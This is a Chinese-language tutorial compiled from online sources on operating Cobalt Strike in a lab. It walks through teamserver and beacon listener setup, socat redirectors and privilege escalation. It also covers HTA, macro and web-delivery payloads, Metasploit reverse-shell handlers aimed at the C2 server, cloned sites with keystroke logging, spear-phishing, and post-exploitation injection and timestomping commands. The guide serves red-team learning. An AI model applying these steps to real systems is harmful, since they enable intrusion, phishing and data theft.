Cobalt Strike 使用指南(资源整合笔记)
0x00 寫在前面的話
Cobalt Strike自出世以來,一直在紅隊常用的工具行列。因其優(yōu)良的團隊協(xié)作性,被冠以多人運動的必備利器。
本文將網(wǎng)絡(luò)上各路神仙的經(jīng)驗分享以滲透流程為依據(jù)進行了一次整合,旨在提供工具的學(xué)習(xí)使用流程。
1、工具介紹
CS是什么?
Cobalt Strike是一款滲透測試神器,常被業(yè)界人稱為CS神器。Cobalt Strike已經(jīng)不再使用MSF而是作為單獨的平臺使用,它分為客戶端與服務(wù)端,服務(wù)端是一個,客戶端可以有多個,可被團隊進行分布式協(xié)團操作。
Cobalt Strike集成了端口轉(zhuǎn)發(fā)、掃描多模式端口Listener、Windows exe程序生成、Windows dll動態(tài)鏈接庫生成、java程序生成、office宏代碼生成,包括站點克隆獲取瀏覽器的相關(guān)信息等。
早期版本Cobalt Srtike依賴Metasploit框架,而現(xiàn)在Cobalt Strike已經(jīng)不再使用MSF而是作為單獨的平臺使用。
這個工具的社區(qū)版是大家熟知的Armitage(一個MSF的圖形化界面工具),而Cobalt Strike大家可以理解其為Armitage的商業(yè)版。
CS的發(fā)展
- Armitage [2010-2012]
Armitage是一個紅隊協(xié)作攻擊管理工具,它以圖形化方式實現(xiàn)了Metasploit框架的自動化攻擊。Armitage采用Java構(gòu)建,擁有跨平臺特性。 - Cobalt Strike 1.x [2012-2014]
Cobalt Strike 增強了Metasploit Framework在執(zhí)行目標(biāo)攻擊和滲透攻擊的能力。 - Cobalt Strike 2.x [2014-?]
Cobalt Strike 2是應(yīng)模擬黑客攻擊的市場需求而出現(xiàn)的,Cobalt Strike 2是以malleable C2技術(shù)的需求為定位的,這個技術(shù)使Cobalt Strike的能力更強了一些。 - Cobalt Strike 3.x [2015-?]
Cobalt Strike 3 的攻擊和防御都不用在Metasploit Framework平臺(界面)下進行。 - 如今 Cobalt Strike 4.0 也已經(jīng)發(fā)布,改動相比 3.x 還是不小的,甚至現(xiàn)在也有所謂去后門的4.2版本現(xiàn)世。
測試過程常常會聯(lián)動的工具
Metasploit Framework
PowerSploit
PowerTools
Veil Evasion Framework
0x01 基礎(chǔ)操作
1、客戶端與服務(wù)端的連接
Cobalt Strike使用C/S架構(gòu),Cobalt Strike的客戶端連接到團隊服務(wù)器,團隊服務(wù)器連接到目標(biāo),也就是說Cobalt Strike的客戶端不與目標(biāo)服務(wù)器進行交互。
準備工作
Cobalt Strike的客戶端想連接到團隊服務(wù)器需要知道三個信息:
- 團隊服務(wù)器的外部IP地址
- 團隊服務(wù)器的連接密碼
- 決定Malleable C2工具的哪一個用戶配置文件被用于團隊服務(wù)器(此項可選)
知道這些信息后,就可以使用腳本開啟團隊服務(wù)器了,值得注意的是Cobalt Strike團隊服務(wù)器只能運行在Linux環(huán)境下。
開啟團隊服務(wù)器
開啟團隊服務(wù)器命令一般如下:
./teamserver your_ip your_passowrd [config_file]服務(wù)端開啟后,就可以開啟客戶端進行連接了
連接到團隊服務(wù)器
在Linux下,直接運行start.sh腳本文件,輸入團隊服務(wù)器的IP、密碼和自己的用戶名進行連接
點擊Connect連接后,會有個提示信息,如果承認提示信息中的哈希值就是所要連接團隊服務(wù)器的哈希值就點擊Yes,隨后即可打開CS客戶端界面
在Windows下的連接方法也基本一致,直接雙擊start.bat文件,輸入IP、密碼、用戶名,點擊Connect即可
在連接后,團隊之間就可以通過客戶端進行溝通,信息共享
Cobalt Strike不是用來設(shè)計指導(dǎo)在一個團隊服務(wù)器下進行工作的,而是被設(shè)計成在一次行動中使用多個團隊服務(wù)器。
這樣設(shè)計的目的主要在于運行安全,如果一個團隊服務(wù)器停止運行了,也不會導(dǎo)致整個行動的失敗。
連接到多個團隊服務(wù)器
Cobalt Strike連接到多個團隊服務(wù)器也很簡單,直接點擊左上角的加號,輸入其他團隊服務(wù)器的信息后,即可連接
2、監(jiān)聽器、傳輸器
- 什么是監(jiān)聽器
顧名思義,監(jiān)聽器就是等待被入侵系統(tǒng)連接自己的一個服務(wù)。 - 監(jiān)聽器的作用
主要是為了接受payload回傳的各類數(shù)據(jù),類似于MSF中handler的作用。
比如payload在目標(biāo)機器執(zhí)行以后,就會回連到監(jiān)聽器然后下載執(zhí)行真正的shellcode代碼。
一旦監(jiān)聽器建立起來,團隊成員只需要知道這個監(jiān)聽器的名稱即可,不用關(guān)心監(jiān)聽器背后的基礎(chǔ)環(huán)境。
一個監(jiān)聽器由用戶定義的名稱、payload 類型和幾個特定于 payload 的選項組成。
監(jiān)聽器的名字一般由以下結(jié)構(gòu)組成:
Operating System/Payload/Stager
例如:
windows/beacon_http/reverse_http
- 什么是傳輸器
攻擊載荷payload就是攻擊執(zhí)行的內(nèi)容。攻擊載荷通常被分為兩部分:傳輸器stager 和傳輸體stage。
傳輸器stager是一個小程序,用于連接、下載傳輸體stage,并插入到內(nèi)存中。
需要傳輸體是因為在很多攻擊中對于能加載進內(nèi)存,并在成功漏洞利用后執(zhí)行的數(shù)據(jù)大小存在嚴格限制。這就導(dǎo)致在攻擊成功時,很難嵌入額外的攻擊載荷,正是因為這些限制,才使得傳輸器變得有必要了。
創(chuàng)建監(jiān)聽器
在CS客戶端中打開 Cobalt Strike —》Listeners,之后點擊Add,此時彈出New Listener窗口,在填寫監(jiān)聽器的相關(guān)信息之前,需要先來了解監(jiān)聽器有哪些類型。
Cobalt Strike有兩種類型的監(jiān)聽器:
- Beacon
Beacon直譯過來就是燈塔、信標(biāo)、照亮指引的意思,Beacon是較為隱蔽的后滲透代理。
Beacon監(jiān)聽器的名稱例如:
windows/beacon_http/reverse_http
- Foreign
Foreign直譯就是外部的,可以理解成對外監(jiān)聽器,這種類型的監(jiān)聽器主要作用是給其他的Payload提供別名,比如Metasploit 框架里的Payload。
對外監(jiān)聽器的名稱例如:
windows/foreign/reverse_https
HTTP 和 HTTPS Beacon
Beacon是什么
Beacon的類型
HTTP 和 HTTPS Beacon
HTTP和HTTPS Beacon也可以叫做Web Beacon。默認設(shè)置情況下,HTTP 和 HTTPS Beacon 通過 HTTP GET 請求來下載任務(wù)。這些 Beacon 通過 HTTP POST 請求傳回數(shù)據(jù)。
windows/beacon_http/reverse_http
windows/beacon_https/reverse_https
創(chuàng)建一個HTTP Beacon
點擊 Cobalt Strike --> Listeners 打開監(jiān)聽器管理窗口,點擊Add,輸入監(jiān)聽器的名稱、監(jiān)聽主機地址,因為這里是要創(chuàng)建一個HTTP Beacon,所以其他的默認就行,最后點擊Save
此時可以測試一下剛才設(shè)置的監(jiān)聽器,點擊Attack --> Web Drive-by --> Scripted Web Delivery(s) ,在彈出的窗口中選擇剛才新添的Listener,因為我的靶機是64位的,所以我把Use x64 payload也給勾選上了,最后點擊Launch
復(fù)制彈窗的命令,放到靶機中運行
此時,回到CS,就可以看到已經(jīng)靶機上線了
HTTPS Beacon
HTTPS Beaocn和HTTP Beacon一樣,使用了相同的Malleable C2配置文件,使用GET和POST的方式傳輸數(shù)據(jù),不同點在于HTTPS使用了SSL,因此HTTPS Beacon就需要使用一個有效的SSL證書,具體如何配置可以參考:https://www.cobaltstrike.com/help-malleable-c2#validssl (opens new window)
DNS Beacon
DNS Beacon,顧名思義就是使用DNS請求將Beacon返回。這些 DNS 請求用于解析由你的 CS 團隊服務(wù)器作為權(quán)威 DNS 服務(wù)器的域名。DNS 響應(yīng)告訴 Beacon 休眠或是連接到團隊服務(wù)器來下載任務(wù)。DNS 響應(yīng)也告訴 Beacon 如何從你的團隊服務(wù)器下載任務(wù)。
在CS 4.0及之后的版本中,DNS Beacon是一個僅DNS的Payload,在這個Payload中沒有HTTP通信模式,這是與之前不同的地方。
DNS Beacon的工作流程具體如下:
首先,CS服務(wù)器向目標(biāo)發(fā)起攻擊,將DNS Beacon傳輸器嵌入到目標(biāo)主機內(nèi)存中,然后在目標(biāo)主機上的DNS Beacon傳輸器回連下載CS服務(wù)器上的DNS Beacon傳輸體,當(dāng)DNS Beacon在內(nèi)存中啟動后就開始回連CS服務(wù)器,然后執(zhí)行來自CS服務(wù)器的各種任務(wù)請求。
原本DNS Beacon可以使用兩種方式進行傳輸,一種是使用HTTP來下載Payload,一種是使用DNS TXT記錄來下載Payload,不過現(xiàn)在4.0版本中,已經(jīng)沒有了HTTP方式,CS4.0以及未來版本都只有DNS TXT記錄這一種選擇了。
*DNS Beacon擁有更高的隱蔽性,但是速度相對于HTTP Beacon什么的會更慢. *
windows/beacon_dns/reverse_dns_txt
windows/beacon_dns/reverse_http
創(chuàng)建一個DNS Beacon
域名配置
既然是配置域名,所以就需要先有個域名,添加一條A記錄指向CS服務(wù)器的公網(wǎng)IP,再添加幾條ns記錄指向A記錄域名即可。
添加一個監(jiān)聽器,DNS Hosts填寫NS記錄和A記錄對應(yīng)的名稱,DNS Host填寫A記錄對應(yīng)的名稱 。
根據(jù)上一章的方法創(chuàng)建一個攻擊腳本,放到目標(biāo)主機中運行后,在CS客戶端可以看到一個小黑框。
然后經(jīng)過一段時間的等待,就可以發(fā)現(xiàn)已經(jīng)上線了
SMB Beacon
SMB Beacon也可以叫做pipe beacon
windows/beacon_smb/bind_pipe
SMB Beacon 使用命名管道通過一個父 Beacon 進行通信。這種對等通信對同一臺主機上的 Beacon 和跨網(wǎng)絡(luò)的 Beacon 都有效。Windows 將命名管道通信封裝在 SMB 協(xié)議中。因此得名 SMB Beacon。
因為鏈接的Beacons使用Windows命名管道進行通信,此流量封裝在SMB協(xié)議中,所以SMB Beacon相對隱蔽,繞防火墻時可能發(fā)揮奇效(系統(tǒng)防火墻默認是允許445的端口與外界通信的,其他端口可能會彈窗提醒,會導(dǎo)致遠程命令行反彈shell失敗)。
SMB Beacon監(jiān)聽器對“提升權(quán)限”和“橫向滲透”中很有用。
SMB Beacon 配置
首先需要一個上線的主機,這里我使用的HTTP Beacon。
主機上線后,新建一個SMB Beacon,輸入監(jiān)聽器名稱,選擇Beacon SMB,管道名稱可以直接默認,也可以自定義。
接下來在Beacon中直接輸入spawn SMB,這里的SMB指代的是創(chuàng)建的SMB Beacon的監(jiān)聽器名稱,也可以直接右擊session,在Spawn選項中選擇剛添加的SMB Beacon。
等待一會兒,就可以看到派生的SMB Beacon,在external中可以看到IP后有個∞∞字符。
接下來我這里將SMB Beacon插入到進程中,以vmtoolsed進程為例。
在vmtoolsed中插入SMB Beacon后,便能看到process為vmtoolsed.exe的派生SMB Beacon。
當(dāng)上線主機較多的時候,只靠列表的方式去展現(xiàn),就顯得不太直觀了,通過CS客戶端中的透視圖便能很好的展現(xiàn)。
在CS中,如果獲取到目標(biāo)的管理員權(quán)限,在用戶名后會有*號標(biāo)注,通過這個區(qū)別,可以判斷出當(dāng)前上線的test用戶為普通權(quán)限用戶,因此這里給他提升一下權(quán)限。
提權(quán)
由于CS自帶的提權(quán)方式較少,因此這里就先加載一些網(wǎng)上的提權(quán)腳本,腳本下載地址為: https://github.com/rsmudge/ElevateKit (opens new window)
下載之后,打開Cobalt Strike --> Script Manager ,之后點擊Load,選擇自己剛才下載的文件中的elevate.cna文件。
接著選擇要提權(quán)的主機,右擊選擇Access --> Elevate,Listener中選擇剛才新建的SMB Beacon,這里的Exploit選擇了ms14-058,如果使用ms14-058不能提權(quán),就換一個Exploit進行嘗試。
順利的情況下,就可以看到提權(quán)后的管理員權(quán)限會話了,在管理員權(quán)限的會話中,不光用戶名后有個*號,其Logo也是和其他會話不同的。
連接與斷開
此時如果想斷開某個會話的連接,可以使用unlink命令,比如如果想斷開192.168.175.144,就可以在Beacon中輸入
unlink 192.168.175.144
如果想再次連上,就直接輸入link 192.168.175.144,想從當(dāng)前主機連到其他主機也可以使用此命令。
3、重定向器
重定向器Redirectors是一個位于CS團隊服務(wù)器和目標(biāo)網(wǎng)絡(luò)之間的服務(wù)器,這個重定向器通俗的來說就是一個代理工具,或者說端口轉(zhuǎn)發(fā)工具,擔(dān)任CS服務(wù)器與目標(biāo)服務(wù)器之間的跳板機角色,整體流量就像下面這樣。
目標(biāo)靶機 <-------->多個并列的重定向器<------>CS服務(wù)器
重定向器在平時的攻擊或者防御的過程中起到很重要的作用,主要有以下兩點:
- 保護自己的CS服務(wù)器,避免目標(biāo)發(fā)現(xiàn)自己的真實IP
- 提高整體可靠性,因為可以設(shè)置多個重定向器,因此如果有個別重定向器停止工作了,整體上系統(tǒng)依舊是可以正常工作的
創(chuàng)建一個重定向器
CS服務(wù)器IP:192.168.175.129
目標(biāo)靶機IP:192.168.175.130
重定向器IP:192.168.175.132、192.168.175.133
首先,需要先配置重定向器的端口轉(zhuǎn)發(fā),比如這里使用HTTP Beacon,就需要將重定向器的80端口流量全部轉(zhuǎn)發(fā)到CS服務(wù)器上,使用socat的命令如下:
socat TCP4-LISTEN:80,fork TCP4:192.168.175.129:80
如果提示沒有socat命令,安裝一下即可。重定向器設(shè)置好之后,就新建一個HTTP Beacon,并把重定向器添加到HTTP Hosts主機列表中
此時可以測試一下重定向器是否正常工作,在CS中打開 View --> Web Log,之后瀏覽器訪問CS服務(wù)器地址,也就是這里的192.168.175.129
可以看到CS是能夠正常接收到流量的,說明重定向器已經(jīng)配置OK了,此時按照上面創(chuàng)建一個HTTP Beacon的操作,創(chuàng)建一個HTTP Beacon,并在靶機中運行
當(dāng)靶機上線的時候,觀察靶機中的流量,可以看到與靶機連接的也是重定向器的IP
在CS中也可以看到上線主機的外部IP也是重定向器的IP,此時如果關(guān)閉一個重定向器,系統(tǒng)依舊可以正常工作。
0x02 目標(biāo)攻擊
“紅藍大戰(zhàn)”持續(xù)至今,誕生了各種WAF、防火墻。各種漏洞已經(jīng)很難像過去那么好被利用了,攻擊者想繞過防火墻發(fā)動攻擊也不是那么容易的了。
而當(dāng)我們發(fā)送一個釣魚文件到目標(biāo)機上,再在目標(biāo)機上打開這個文件,最后目標(biāo)機穿過防火墻回連到我們的服務(wù),此時在目標(biāo)機客戶端上我們就獲得了一個立足點。
1、系統(tǒng)偵察
系統(tǒng)偵察System Profiler是一個方便客戶端攻擊的偵察工具,這個工具將會在CS服務(wù)端上啟動一個Web服務(wù),這樣當(dāng)目標(biāo)訪問這個Web服務(wù)的時候,我們就能夠看到目標(biāo)使用的瀏覽器、操作系統(tǒng)等等指紋信息。
設(shè)置系統(tǒng)偵察需要首先在自己的VPS服務(wù)器上運行CS服務(wù)端,之后本地客戶端進行連接,選擇System Profiler功能模塊,配置待跳轉(zhuǎn)的URL等信息即可。
如果勾選了Use Java Applet to get information則可以發(fā)現(xiàn)目標(biāo)的Java版本及內(nèi)網(wǎng)IP地址,但是這樣做被發(fā)現(xiàn)的風(fēng)險就會提高,同時現(xiàn)在瀏覽器已經(jīng)默認關(guān)閉了java執(zhí)行權(quán)限,因此這個選項的作用也變得不大了。不過,工控網(wǎng)絡(luò)可以嘗試一下。
配置完后,當(dāng)用戶打開配置后的鏈接,我們可以在三個地方進行觀察
- 1、View --> Applications
- 2、View --> Web Log
- 3、Cobalt Strike --> Visualization --> Target Table
目標(biāo)用戶打開鏈接時,我們在CS上就能夠看到目標(biāo)使用的瀏覽器版本、系統(tǒng)版本等信息了,知道了版本信息,就能夠進一步知道目標(biāo)上可能存在什么漏洞。
值得注意的一點是如果 Cobalt Strike 的 web 服務(wù)器收到了lynx、wget 或 curl 的請求,CS會自動返回一個 404 頁面,這樣做是為了防御藍隊的窺探。
2、CS攻擊方式
用戶驅(qū)動攻擊
用戶驅(qū)動攻擊User-Driven Attacks需要欺騙用戶產(chǎn)生交互才行,但也有許多的優(yōu)點。
首先用戶驅(qū)動攻擊不包含惡意攻擊代碼,所以用戶系統(tǒng)上的安全補丁是沒用的;其次無論目標(biāo)使用什么版本的程序,我們都可以創(chuàng)建相應(yīng)的功能來執(zhí)行;最后因為用戶驅(qū)動攻擊十分可靠,也使得它很完美。
當(dāng)我們采取行動來追蹤并需要攻擊時,它就像用戶本地執(zhí)行程序一樣,CS為我們提供了幾個用戶驅(qū)動攻擊的選項,分別如下:
用戶驅(qū)動攻擊包
用戶驅(qū)動攻擊包User-Driven Attacks Packages功能打開位置:Attacks --> Packages
- 1、HTML應(yīng)用
HTML應(yīng)用HTML Application生成(executable/VBA/powershell)這3種原理不同的VBScript實現(xiàn)的evil.hta文件。 - 2、Microsoft Office 宏文件
Microsoft Office 宏文件Microsoft Office Document Macros可以生成惡意宏放入office文件,非常經(jīng)典的攻擊手法。 - 3、Payload 生成器
Payload生成器Payload Generator可以生成各種語言版本的Payload,便于進行免殺。 - 4、Windows 可執(zhí)行文件
Windows 可執(zhí)行文件Windows Executable 會生成一個Windows可執(zhí)行文件或DLL文件。默認x86,勾選x64表示包含x64 payload stage生成了artifactX64.exe(17kb) artifactX64.dll(17kb) - 5、Windows 可執(zhí)行文件(Stageless)
Windows 可執(zhí)行文件(Stageless)Windows Executable (Stageless)會生成一個無進程的Windows可執(zhí)行文件或DLL文件。其中的 Stageless 表示把包含payload在內(nèi)的"全功能"被控端都放入生成的可執(zhí)行文件beconX64.exe(313kb) beconX64.dll(313kb) becon.ps1(351kb)
用戶驅(qū)動的Web交付攻擊
用戶驅(qū)動Web交付攻擊User-Driven Web Drive-by Attacks功能打開位置:Attacks --> Web Drive-by
- 1、java 簽名 applet 攻擊
java 簽名 applet 攻擊Java Signed Applet Attack會啟動一個Web服務(wù)以提供自簽名Java Applet的運行環(huán)境,瀏覽器會要求用戶授予applet運行權(quán)限,如果用戶同意則實現(xiàn)控制,但目前該攻擊方法已過時。 - 2、Java 智能 Applet 攻擊
Java 智能 Applet 攻擊Java Smart Applet Attack會自動檢測Java版本并利用已知的漏洞繞過安全沙箱,但CS官方稱該攻擊的實現(xiàn)已過時,在現(xiàn)在的環(huán)境中無效。 - 3、腳本化 Web 交付
腳本化 Web 交付Scripted Web Delivery 為payload提供web服務(wù)以便于下載和執(zhí)行,類似于MSF的Script Web Delivery - 4、托管文件
托管文件Host File通過Attacks --> Web Drive-by --> Host File進行配置,攻擊者可以通過這個功能將文件上傳到CS服務(wù)端上,從而進行文件托管。
如果想刪除上傳到CS服務(wù)端上的文件,可以到Attacks --> Web Drive-by --> Manage下進行刪除。
如果想查看誰訪問了這些文件,可以到View --> Web Log下進行查看。
3開始攻擊
HTML 應(yīng)用攻擊
首先來到Attacks --> Packages --> HTML Application創(chuàng)建一個HTML應(yīng)用,如果沒有創(chuàng)建監(jiān)聽的話,還需要創(chuàng)建一個監(jiān)聽。
HTML應(yīng)用文件生成好后,來到Attacks --> Web Drive-by --> Host File,選擇剛才生成的文件,最后點擊Launch,復(fù)制CS創(chuàng)建的鏈接,在目標(biāo)主機上打開此鏈接。
當(dāng)在目標(biāo)主機上提示是否運行時,點擊運行。
當(dāng)該文件在目標(biāo)上運行后,CS客戶端上就可以看到回連的會話了。
MSF 與 CS 的結(jié)合利用
如果想使用MSF對目標(biāo)進行漏洞利用,再通過這個漏洞來傳輸Beacon的話,也是可以的。
- 1、首先在MSF上選擇攻擊模塊
- 2、接著在MSF上設(shè)置Payload為windows/meterpreter/reverse_http或者windows/meterpreter/reverse_https,這么做是因為CS的Beacon與MSF的分階段協(xié)議是相兼容的。
- 3、之后在MSF中設(shè)置Payload的LHOST、LPORT為CS中Beacon的監(jiān)聽器IP及端口。
- 4、然后設(shè)置 DisablePayloadHandler 為 True,此選項會讓 MSF 避免在其內(nèi)起一個 handler 來服務(wù)你的 payload 連接,也就是告訴MSF說我們已經(jīng)建立了監(jiān)聽器,不必再新建監(jiān)聽器了。
- 5、再設(shè)置 PrependMigrate 為 True,此選項讓 MSF 前置 shellcode 在另一個進程中運行 payload stager。如果被利用的應(yīng)用程序崩潰或被用戶關(guān)閉,這會幫助 Beacon 會話存活。
- 6、最后運行exploit -j,-j 是指作為job開始運行,即在后臺運行。
操作
在CS中新建一個HTTP Beacon,創(chuàng)建過程不再贅述。
-
1、在MSF中選擇攻擊模塊,根據(jù)教程這里選擇的adobe_flash_hacking_team_uaf模塊,不過個人感覺現(xiàn)在這個模塊已經(jīng)不太能被利用成功了。
use exploit/multi/browser/adobe_flash_hacking_team_uaf -
2、接著配置payload,這里選擇revese_http payload
set payload windows/meterpreter/revese_http
set LHOST cs_server_ip
set LPORT 80 -
3、之后,配置DisablePayloadHandler、PrependMigrate為 True
set DisablePayloadHandler True
set PrependMigrate True -
4、最后,開始攻擊。
exploit -j
偽裝—克隆網(wǎng)站
在向目標(biāo)發(fā)送漏洞程序之前,我們將自己進行偽裝一下,這樣可以更好的保護自己,同時提高成功率。CS上有個克隆網(wǎng)站的功能,能夠較好的幫助到我們。
首先,來到Attacks --> Web Drive-by --> Clone Site下,打開克隆網(wǎng)站的功能,之后寫入待克隆網(wǎng)站的URL,在Attack中寫入MSF中生成的URL。
其中Log keystrokes on cloned site選項如果勾選則可以獲取目標(biāo)的鍵盤記錄,記錄結(jié)果在Web Log中能夠查看。
之后,瀏覽器打開克隆站點地址,如果目標(biāo)存在漏洞,就可以被利用了,同時在CS中也會觀察到主機上線。
魚叉式網(wǎng)絡(luò)釣魚
用CS進行釣魚需要四個步驟:
- 1、創(chuàng)建一個目標(biāo)清單
- 2、制作一個郵件模板或者使用之前制作好的模板
- 3、選擇一個用來發(fā)送郵件的郵件服務(wù)器
- 4、發(fā)送郵件
目標(biāo)清單
目標(biāo)清單就是每行一個郵件地址的txt文件,即每行包含一個目標(biāo)。
在一行中除了郵件地址也可以使用標(biāo)簽或一個名字。如果提供了名稱,則有助于 Cobalt Strike 自定義每個網(wǎng)絡(luò)釣魚。
這里使用一些在線郵件接收平臺的郵箱地址作為示例。
astrqb79501@chacuo.net test1
gswtdm26180@chacuo.net test2
ypmgin95416@chacuo.net test3
將以上內(nèi)容保存為txt文本文件,就創(chuàng)建好了自己的目標(biāo)清單。
模板
使用模板的好處在于可以重復(fù)利用,制作釣魚模板也很簡單。
首先可以自己寫一封郵件發(fā)給自己,或者直接從自己收件箱挑選一個合適的。有了合適的郵件之后,查看郵件原始信息,一般在郵件的選項里能找到這個功能。最后將郵件的原始信息保存為文件,一個模板就制作完成了。
發(fā)送郵件
有了目標(biāo)和模板,然后選好自己的郵件服務(wù)器,之后就可以發(fā)送消息了。
在CS客戶端中,點擊Attacks --> Spear Phish即可打開網(wǎng)絡(luò)釣魚模塊。添加上目標(biāo)、模板、釣魚地址、郵箱服務(wù)、退回郵箱,其中Bounce To為退回郵件接收地址,注意要和配置郵件服務(wù)器時填的郵箱一致,否則會報錯。
所有信息添加完成后,可以點擊Preview查看。如果感覺效果不錯,就可以點擊send發(fā)送了。
當(dāng)目標(biāo)收到釣魚郵件,并且點擊釣魚郵件中的鏈接后,如果釣魚鏈接配置的沒有問題,CS就能夠上線了。
在真實環(huán)境中的釣魚郵件也不會像這里這么浮夸,真實環(huán)境中的釣魚郵件往往都偽裝成和正經(jīng)兒的郵件一模一樣,單從表面上看很難看出區(qū)別,因此提高自己的安全意識還是很重要滴。
0x03后滲透
1、Beacon 的管理
Beacon 控制臺
在一個 Beacon 會話上右擊 interact(交互)即可打開 Beacon 控制臺,如果想對多個會話進行控制,也只需選中多個會話,執(zhí)行相關(guān)功能即可。
在 Beacon 的控制臺中的輸入與輸出之間,是一個狀態(tài)欄,狀態(tài)欄上的信息分別是:目標(biāo) NetBIOS 名稱、用戶名、會話PID以及 Beacon 最近一次連接到 CS 團隊服務(wù)器的時間。
Beacon 控制臺是在使用 CS 的過程中,很經(jīng)常用到的功能,向 Beacon 發(fā)出的每個命令,都可以在這里看到,如果隊友發(fā)送了消息,在 Beacon 控制臺同樣能看到,消息前還會顯示隊友的名稱。
Beacon 菜單
- Access:包含了一些對憑據(jù)的操作及提權(quán)的選項
- Explore:包含了信息探測與目標(biāo)交互的選項
- Pivoting:包含了一些設(shè)置代理隧道的選項
- Session:包含了對當(dāng)前 Beacon 會話管理的選項
- Beacon 命令
- help:查看 Beacon 命令的幫助信息。使用 help + 待查看幫助的命令可查看該命令的幫助信息。
- clear:清除 Beacon 命令隊列。Beacon 是一個異步的 Payload,輸入的命令并不會立即執(zhí)行,而是當(dāng) Beacon 連接到團隊服務(wù)器時再一一執(zhí)行命令,因此當(dāng)需要清除隊列命令時就可以使用 clear 命令。
- sleep:改變 Beacon 的休眠時間。輸入 sleep 30表示休眠30秒;輸入sleep 60 50表示,隨機睡眠 30秒至60秒,其中30秒 = 60 x 50%;如果輸入 sleep 0則表示進入交互模式,任何輸入的命令都會被立即執(zhí)行,當(dāng)輸入一些命令,比如desktop時, Beacon 會自動進入交互模式。
- shell:通過受害主機的 cmd.exe 執(zhí)行命令。比如運行ipconfig,就需要輸入shell ipconfig
- run:不使用 cmd.exe 執(zhí)行命令。該命令也是 run + 命令的形式運行,該命令會將執(zhí)行結(jié)果回顯。
- execute:執(zhí)行命令,但不回顯結(jié)果。
- cd:切換當(dāng)前工作目錄。
- pwd:查看當(dāng)前所在目錄。
- powershell:通過受害主機的 PowerShell 執(zhí)行命令。比如想在 PowerShell 下運行 ipconfig,就需要輸入powershell ipconfig
- powerpick:不使用 powershell.exe 執(zhí)行 powershell 命令。這個命令依賴于由 Lee Christensen 開發(fā)的非托管 PowerShell 技術(shù)。powershell 和 powerpick 命令會使用當(dāng)前令牌( token )。
- psinject:將非托管的 PowerShell 注入到一個特定的進程中并從此位置運行命令。
- powershell-import:導(dǎo)入 PowerShell 腳本到 Beacon 中。直接運行 powershell-import + 腳本文件路徑即可,但是這個腳本導(dǎo)入命令一次僅能保留一個 PowerShell 腳本,再導(dǎo)入一個新腳本的時候,上一個腳本就被覆蓋了,因此可以通過導(dǎo)入一個空文件來清空 Beacon 中導(dǎo)入的腳本。
- powershell get-help:獲取 PowerShell 命令的相關(guān)幫助信息。比如想獲取 PowerShell 下 get-process 命令的幫助,就需要輸入powershell get-help get-process
- execute-assembly:將一個本地的 .NET 可執(zhí)行文件作為 Beacon 的后滲透任務(wù)來運行。
- setenv:設(shè)置一個環(huán)境變量。
2、會話傳遞
會話傳遞相關(guān)命令
- Beacon 被設(shè)計的最初目的就是向其他的 CS 監(jiān)聽器傳遞會話。
- spawn:進行會話的傳遞,也可直接右擊會話選擇spawn命令進行會話的選擇。默認情況下,spawn命令會在 rundll32.exe 中派生一個會話。為了更好的隱蔽性,可以找到更合適的程序(如 Internet Explorer) 并使用spawnto命令來說明在派生新會話時候會使用 Beacon 中的哪個程序。
- spawnto:該命令會要求指明架構(gòu)(x86 還是 x64)和用于派生會話的程序的完整路徑。單獨輸入spawnto命令然后按 enter 會指示 Beacon 恢復(fù)至其默認行為。
- inject:輸入inject + 進程 id + 監(jiān)聽器名來把一個會話注入一個特定的進程中。使用 ps 命令來獲取一個當(dāng)前系統(tǒng)上的進程列表。使用inject [pid] x64來將一個64位 Beacon 注入到一個 64位進程中。
- spawn和inject命令都將一個 payload stage 注入進內(nèi)存中。如果 payload stage 是 HTTP、HTTPS 或 DNS Beacon 并且它無法連接到你,那么將看不到一個會話。如果 payload stage 是一個綁定的 TCP 或 SMB 的 Beacon,這些命令會自動地嘗試連接到并控制這些 payload。
- dllinject:dllinject + [pid]來將一個反射性 DLL 注入到一個進程中。
- shinject:使用shinject [pid] [架構(gòu)] [/路徑/…/file.bin]命令來從一個本地文件中注入 shellcode 到一個目標(biāo)上的進程中。
- shspawn:使用shspawn [架構(gòu)] [/路徑/…/file.bin]命令會先派生一個新進程(這個新進程是 spawn to 命令指定的可執(zhí)行文件),然后把指定的 shellcode 文件( file.bin )注入到這個進程中。
- dllload:使用dllload [pid] [c:\路徑…\file.dll]來在另一個進程中加載磁盤上的 DLL文件。
會話傳遞使用場景
1、將當(dāng)前會話傳遞至其他CS團隊服務(wù)器中,直接右擊spawn選擇要傳遞的監(jiān)聽器即可。
2、將當(dāng)前會話傳遞至MSF中,這里簡單做一下演示。
首先,在MSF中,為攻擊載荷新建一個payload
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_https
msf5 exploit(multi/handler) > set lhost 192.168.175.156
msf5 exploit(multi/handler) > set lport 443
msf5 exploit(multi/handler) > exploit -j
隨后,在CS中新建一個外部Foreign監(jiān)聽器,這里設(shè)置的監(jiān)聽IP與端口和MSF中的一致即可,隨后在CS中利用spawn選擇剛新建的外部監(jiān)聽器,MSF中即可返回會話。
3、文件系統(tǒng)
瀏覽會話系統(tǒng)文件位置在右擊會話處,選擇 Explore --> File Browser即可打開。在這里可以對當(dāng)前會話下的文件進行瀏覽、上傳、下載、刪除等操作。
在進行文件瀏覽時,如果 beacon 設(shè)置的 sleep 值較高,CS會因此而變得響應(yīng)比較慢。
彩色文件夾表示該文件夾的內(nèi)容位于此文件瀏覽器的緩存中;深灰色的文件夾表示該文件夾的內(nèi)容不在此文件瀏覽器緩存中。
文件下載
- download:下載請求的文件。Beacon 會下載它的任務(wù)要求獲取的每一個文件的固定大小的塊。這個塊的大小取決于 Beacon 當(dāng)前的數(shù)據(jù)通道。HTTP 和 HTTPS 通道會拉取 512kb 的數(shù)據(jù)塊。
- downloads:查看當(dāng)前 Beacon 正在進行的文件下載列表。
- cancel:該命令加上一個文件名來取消正在進行的一個下載任務(wù)。也可以在 cancel 命令中使用通配符來一次取消多個文件下載任務(wù)。
下載文件都將下載到CS團隊服務(wù)器中,在View --> Download下可看到下載文件的記錄,選中文件后使用Sync Files即可將文件下載到本地。
文件上傳
- upload:上傳一個文件到目標(biāo)主機上。
- timestomp:將一個文件的修改屬性訪問屬性和創(chuàng)建時間數(shù)據(jù)與另一個文件相匹配。當(dāng)上傳一個文件時,有時會想改變此文件的時間戳來使其混入同一文件夾下的其他文件中,使用timestomp 命令就可以完成此工作。
4、用戶驅(qū)動溢出攻擊
Beacon 運行任務(wù)的方式是以jobs去運行的,比如鍵盤記錄、PowerShell 腳本、端口掃描等,這些任務(wù)都是在 beacon check in 之間于后臺運行的。
